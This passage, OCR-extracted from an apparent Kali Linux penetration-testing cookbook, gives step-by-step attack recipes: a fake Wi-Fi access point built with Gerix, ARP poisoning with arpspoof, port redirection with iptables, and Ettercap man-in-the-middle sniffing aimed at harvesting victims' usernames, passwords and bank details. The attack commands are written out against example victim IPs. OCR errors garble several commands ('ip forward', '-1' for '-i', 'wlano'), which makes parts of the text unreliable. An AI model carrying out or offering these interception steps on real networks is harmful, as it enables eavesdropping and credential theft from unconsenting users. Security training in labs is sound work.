Start Fake Access Point

9. Change the Access Point ESSID from honeypot to something less suspicious.
In this case, we are going to use personalnetwork.

Access point ESSID:

| personalnetwork

10. We will use the defaults on each of the other options. To start the fake access point,
click on the Start Face Access Point button.

Start Fake Access Point

That's it!
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In this recipe, we used Gerix to create a fake AP. Creating a fake AP is an excellent way of
collecting information from unsuspecting users. The reason fake access points are a great
tool to use is that to your victim, they appear to be a legitimate access point, thus making it
trusted by the user. Using Gerix, we were able to automate the creation of setting up a fake
access point in a few short clicks.

URL traffic manipulation

In this recipe, we will perform a URL traffic manipulation attack. URL traffic manipulation is
very similar to a Man In The Middle attack, in that we will route traffic destined for the Internet
to pass through our machine first. We will perform this attack through ARP poisoning. ARP
poisoning is a technique that allows you to send spoofed ARP messages to a victim on the
local network. We will execute this recipe using arpspoof.

How to do it...

Let's begin the process of URL traffic manipulation.
1. Open a terminal window and execute the following command to configure IP tables
that will allow our machine to route traffic:
sudo echo 1 >> /proc/sys/net/ipv4/ip forward
2. Next, we launch arpspoof to poison traffic going from our victim's machine to the
default gateway. In this example, we will use a Windows 7 machine on my local

network with an address of 192.168.10.115. Arpspoof has a couple of options
that we will select and they include:

o -1 allows us to select our target interface. In this case, we will select wlano.

o -t allows us to specify our target.

The syntax for completing this command is arpspoof -1

[interface] -t [target IP address] [destination

IP address].

sudo arpspoof -i wlan0 -t 192.168.10.115 192.168.10.1

3. Next, we will execute another arpspoof command that will take traffic from the
destination in the previous command (which was the default gateway) and route that
traffic back to our Kali machine. In this example our IP address is 192.168.10.110.

sudo arpspoof -i wlan0 -t 192.168.10.1 192.168.10.110
That's it!
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In this recipe, we used ARP poisoning with arpspoof to manipulate traffic on our victim's
machine to ultimately route back through our Kali Linux machine. Once traffic has been

rerouted, there are other attacks that you can run against the victim, including recording
their keystrokes, following websites they have visited, and much more!

Port redirection

In this recipe, we will use Kali to perform port redirection, also known as port forwarding or
port mapping. Port redirection involves the process of accepting a packet destined for one
port, say port 80, and redirecting its traffic to a different port, such as 8080. The benefits of
being able to perform this type of attack are endless because with it you can redirect secure
ports to unsecure ports, redirect traffic to a specific port on a specific device, and so on.

How to do it...

Let's begin the process of port redirection/forwarding.
1. Open a terminal window and execute the following command to configure IP tables
that will allow our machine to route traffic:
Sudo echo 1 >> /proc/sys/net/ipv4/ip forward
2. Next, we launch arpspoof to poison traffic going to our default gateway. In this

example, the IP address of our default gateway is 192.168.10. 1. Arpspoof
has a couple of options that we will select and they include:

o -1 allows us to select our target interface. In this case, we will select wlano.

The syntax for completing this command is arpspoof -1
i [interface] [destination IP address].
sudo arpspoof -i wlan0O 192.168.10.1

3. Next, we will execute another arpspoof command that will take traffic from our
destination in the previous command (which was the default gateway) and route
that traffic back to our Kali Linux machine. In this example our IP address is
192.168.10.110.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080

That's it!
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In this recipe, we used ARP poisoning with arpspoof and IPTables routing to manipulate traffic
on our network destined for port 80 to be redirected to port 8080. The benefits of being able
to perform this type of attack are endless because with it you can redirect secure ports to
unsecure ports, redirect traffic to a specific port on a specific device, and so on.

Sniffing network traffic

In this recipe, we will examine the process of sniffing network traffic. Sniffing network traffic
involves the process of intercepting network packets, analyzing it, and then decoding the
traffic (if necessary) displaying the information contained within the packet. Sniffing traffic is
particularly useful in gathering information from a target, because depending on the websites
visited, you will be able to see the URLSs visited, usernames, passwords, and other details that
you can use against them.

We will use Ettercap for this recipe, but you could also use Wireshark. For demonstration
purposes, Ettercap is a lot easier to understand and apply sniffing principles. Once an
understanding of the sniffing process is established, Wireshark can be utilized to provide
more detailed analysis.

Getting ready

A wireless card configured for packet injection is required to complete this recipe although you
can perform the same steps over a wired network. In case of a wireless card, packet injection
involves sending a packet, or injecting it, onto an already established connection between

two parties.

How to do it...

Let's begin the process of sniffing network traffic by launching Ettercap.

1. Open a terminal window and start Ettercap. Using the -G option, launch the GUI:

ettercap -G
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* ettercap 0.7.4.1

2. We begin the process by turning on Unified sniffing. You can press Shift + U
or use the menu and navigate to Sniff | Unified sniffing.

Shift+U

Shift+B

P

3. Select the network interface. In case of using a MITM attack, we should select our
wireless interface.

| % lettercap Input

@ Network interface : ’@E | v |

QK Cancel
| || |
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4. Next, we turn on Scan for hosts. This can be accomplished by pressing Ctrl + S or use
the menu and navigate to Hosts | Scan for hosts.

ng Pl

5. Next, we bring up the Host List. You can either press H or use the menu and navigate
to Hosts | Host List.

x ettercap 0.7.4.1

5 Hosts N M

10.0.2.2
10.0.2.3

6. We next need to select and set our targets. In our case, we will select
192.168.10.111 as our Target 1 by highlighting its IP address and pressing
the Add To Target 1 button.

* ettercap 0.7.4.1

Host List M

iP Address | MAC Address Description s

192.168.10.102 00:0D:93:TA:EA:C8
192.168.10.107 00:18:E7:07:BE:70
192.168.10.108 00:08:5D:29:28:FF
192.168.10.110 00:02:A5:B1:EB:OF
192.168.10.111 08:00:27:17:81:3C

192.168.10.112 08:00:27:19:BD:88

192.168.10.150 00:80:77:07:80:A3

| Delete Host | Add to Target 1 Add to Target 2

55 ports menitored 3
7587 mac vendor fingerprint 1
1766 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts... I
9 hosts added to the hosts list...
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7. Now we are able to allow Ettercap to begin sniffing. You can either press Ctrl + W
or use the menu and navigate to Start | Start sniffing.

* ettercap 0.7.4.1

H View Mitm Filters Lo g Plugins Helj

Ctri+Ww

Ctr+E

Ctri+X

8. Finally, we begin the ARP poisoning process. From the menu, navigate to
Mitm | Arp poisoning....

¥ ettercap 0.7.4.1

9. Inthe window that appears, check the optional parameter for Sniff
remote connections.

| x MITM Attack: ARP Poisoning

—3 Optional parameters
@ & [Sniff remote connections.|

) Only poison one-way.

0K Cancel
| I | |
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10. Depending on the network traffic, we will begin to see information.

ettercap 0.7.4.1

7587 mac vendor fingerpnnt i
1766 tcp OS fingerprint

2183 known services

Randomizing 255 hests for scanning...

Scanning the whole netmask for 255 hosts...

3 hosts added to the hosts list...

Starting Unified sniffing...

ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

11. Once we have found what we are looking for (usernames and passwords). We will
turn off Ettercap. You can do this by either pressing Ctrl + E or by using the menu
and navigating to Start | Stop sniffing.

* ettercap 0.7.4.
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12. Now we need to turn off ARP poisoning and return the network to normal.

| i_jll MITM attack(s) stopped

=

This recipe included an MITM attack that works by using ARP packet poisoning to eavesdrop
on wireless communications transmitted by a user. We began the recipe by launching Ettercap
and scanning for our hosts. We then began the process of ARP poisoning the network. ARP
poisoning is a technique that allows you to send spoofed ARP messages to a victim on the
local network.

We concluded the recipe by starting the packet sniffer and demonstrated a way to stop ARP
poisoning and return the network back to normal. This step is key in the detection process as
it allows you to not leave the network down once you have stopped poisoning the network.

This process is useful for gathering information as it's being transmitted across the wireless
network. Depending on the traffic, you will be able to gather usernames, passwords, bank
account details, and other information your targets send across the network. This information
can also be used as a springboard for larger attacks.
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